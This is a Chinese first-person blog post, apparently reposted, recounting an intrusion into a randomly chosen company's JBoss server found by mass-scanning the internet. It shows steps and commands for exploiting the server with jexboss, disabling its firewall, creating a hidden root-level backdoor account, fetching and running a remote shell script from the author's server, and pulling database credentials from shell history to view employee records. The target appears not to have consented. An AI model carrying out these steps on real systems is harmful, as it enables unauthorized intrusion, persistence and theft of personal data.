记一次曲折的渗透测试经历

2023-10-10 12:10

本文主要是介绍记一次曲折的渗透测试经历,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

昨天把jexboss脚本整合到我的多线程框架里,扫了一遍全国jboss,发现一千多个shell.

工具地址在:https://github.com/Xyntax/POC-T

随意拿了一个看似大厂商的,作本次入侵测试

发现传送门

通过jexboss拿到shell,看到是centos的机器(IP已打码).

这里写图片描述

看起来是root,确认一下.

这里写图片描述

不稳定的传送门

shell的问题

接下来执行命令的时候,发现这个jexboss自带的shell很不稳定.出现各种问题,包括但不限于以下两个严重问题:
- 执行有交互的命令时,程序会崩溃退出.比如说:cat命令会正常回显,但是vi命令会导致shell直接报错退出.
- 命令错误时,无回显

只好自己再做个稳定的shell

nc的尝试

看到系统有nc.我想简单用nc弹个稳定的shell回来,发现我提交的所有nc命令都没有回显,且连不上shell.

Py的尝试

放弃了nc,看看系统有没有python,结果还是--version没回显,但是有-h

这里写图片描述

然后我又想用py弹个shell回来,用了这段代码,发现也没有成功,有点古怪.

这里写图片描述

我又执行了一句简单的print,仍然没有回显!

why?

这里我思考了一下,如果它是因为报错了才无回显.那么能引起报错的应该是代码中( ) ' "等特殊字符在传输过程出现了错误.

我又用几个简单的shell代码具体测试了一下,证实猜测:
- 含有' " | > >> & 等特殊字符的命令,均不能执行.且没有回显

这意味着?

这意味着我基本不能通过这个shell执行含有非字母字符的命令了!
不能使用nc,不能使用python,管道,重定向都不行了

SSH的尝试

看来这个shell基本是废的.看了下进程,端口,以及iptables防火墙,发现一些针对性的配置,说明还是部署了一些安全防御的.看到22端口后,我果断关了防火墙.我新建个用户,然后外面用ssh连不就OK了么

于是我新建了一个管理员用户
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash php

查看了一下/etc/passwd没有问题,创建成功!

这里写图片描述

然后在修改其密码时
passwd php

没有回显!!!
我想起来,这个修改密码的动作是要用户交互几次的.之前说过,执行交互的命令都是报错退出,没回显..所以又完蛋了

这里写图片描述

一般ssh都不会允许空密码连接的,我试了一下,结果像这样.
ssh: connect to host 183.xxx.xxx.xxx port 22: Connection refused

我查看下ssh的配置文件cat /etc/ssh/sshd_config
结果如下:

#   $OpenBSD: sshd_config,v 1.97 2015/08/06 14:53:21 deraadt Exp $# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.Port 2525#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

除了配置文件里禁止了空密码登录外,管理员还把ssh的默认端口改成了2525,可以可以

于是我在配置文件里加一句话,允许空密码登录不就OK了么.

然而我在写命令时,不能用非字母字符!还不能使用编辑器交互!
vi直接崩,sed不行,echo重定向也不行...

稳定的传送门

根据这个辣鸡shell的臊性,看来我是很难往系统里写入东西了,于是在外部下载代码本地执行总可以的吧,反正有Python了.

wget xxx.xxx.xxx 这个命令没有特殊字符!应该可以执行

写了个脚本挂在我的服务器上,再从目标机wget到本地.
ls出来的时候,我就炸了!

这里写图片描述

果断python shell.py ,看到那个sh-4.1 出来的时候就知道搞定了!

这里写图片描述

然后改了我建立用户的密码,外部ssh连接,传送门终于稳定下来.

逛逛数据库

拿到稳定的shell,看看数据库

试试在命令历史中寻找相关命令:
cat ~/.bash_history |grep sql

结果如下,果然有货

这里写图片描述

不费吹灰之力进了数据库:

这里写图片描述

mysql里面的命令行对我来说早就轻车熟路

这里写图片描述

use information_schemaselect table_name,table_rows from tables where TABLE_SCHEMA = 'cloudcompany' order by table_rows desc;

这里写图片描述

管理员表:

这里写图片描述

都是员工数据(216条数据),来看一条:

这里写图片描述

挑一些有用的看看:

这里写图片描述

另外一个表(30W数据):

这里写图片描述

结语

看来数据库没太多东西.边做边写文章效率太低,已经工作快四个小时了,内网什么的不做了,交漏洞走人!

注:本文已屏蔽所有敏感数据,仅供技术交流,该入侵事件已提交乌云漏洞平台.

转载请注明出处,并告知本人
mail: i@cdxy.me

这篇关于记一次曲折的渗透测试经历的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/180335

相关文章

电脑多久清理一次灰尘合? 合理清理电脑上灰尘的科普文

《电脑多久清理一次灰尘合?合理清理电脑上灰尘的科普文》聊起电脑清理灰尘这个话题,我可有不少话要说,你知道吗,电脑就像个勤劳的工人,每天不停地为我们服务,但时间一长,它也会“出汗”——也就是积累灰尘,... 灰尘的堆积几乎是所有电脑用户面临的问题。无论你的房间有多干净,或者你的电脑是否安装了灰尘过滤器,灰尘都

如何测试计算机的内存是否存在问题? 判断电脑内存故障的多种方法

《如何测试计算机的内存是否存在问题?判断电脑内存故障的多种方法》内存是电脑中非常重要的组件之一,如果内存出现故障,可能会导致电脑出现各种问题,如蓝屏、死机、程序崩溃等,如何判断内存是否出现故障呢?下... 如果你的电脑是崩溃、冻结还是不稳定,那么它的内存可能有问题。要进行检查,你可以使用Windows 11

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

CRtmpServer转推流到Nginx Rtmp及SRS(SimpleRtmpServer)的经历

转自:http://blog.csdn.net/fengyily/article/details/42557841 本人一直用的是CRtmpServer服务,在CRtmpServer服务中根据自已的想法也加入了许多功能,如通过http接口来加载配置等,苦于不支持HLS,自已添加ts分片水平又有限,思来想去决定借助SimpleRtmpServer的HLS功能。说干就干,马上查找相关资源

Verybot之OpenCV应用一:安装与图像采集测试

在Verybot上安装OpenCV是很简单的,只需要执行:         sudo apt-get update         sudo apt-get install libopencv-dev         sudo apt-get install python-opencv         下面就对安装好的OpenCV进行一下测试,编写一个通过USB摄像头采

BIRT 报表的自动化测试

来源:http://www.ibm.com/developerworks/cn/opensource/os-cn-ecl-birttest/如何为 BIRT 报表编写自动化测试用例 BIRT 是一项很受欢迎的报表制作工具,但目前对其的测试还是以人工测试为主。本文介绍了如何对 BIRT 报表进行自动化测试,以及在实际项目中的一些测试实践,从而提高了测试的效率和准确性 -------

(function() {})();只执行一次

测试例子: var xx = (function() {     (function() { alert(9) })(); alert(10)     return "yyyy";  })(); 调用: alert(xx); 在调用的时候,你会发现只弹出"yyyy"信息,并不见弹出"10"的信息!这也就是说,这个匿名函数只在立即调用的时候执行一次,这时它已经赋予了给xx变量,也就是只是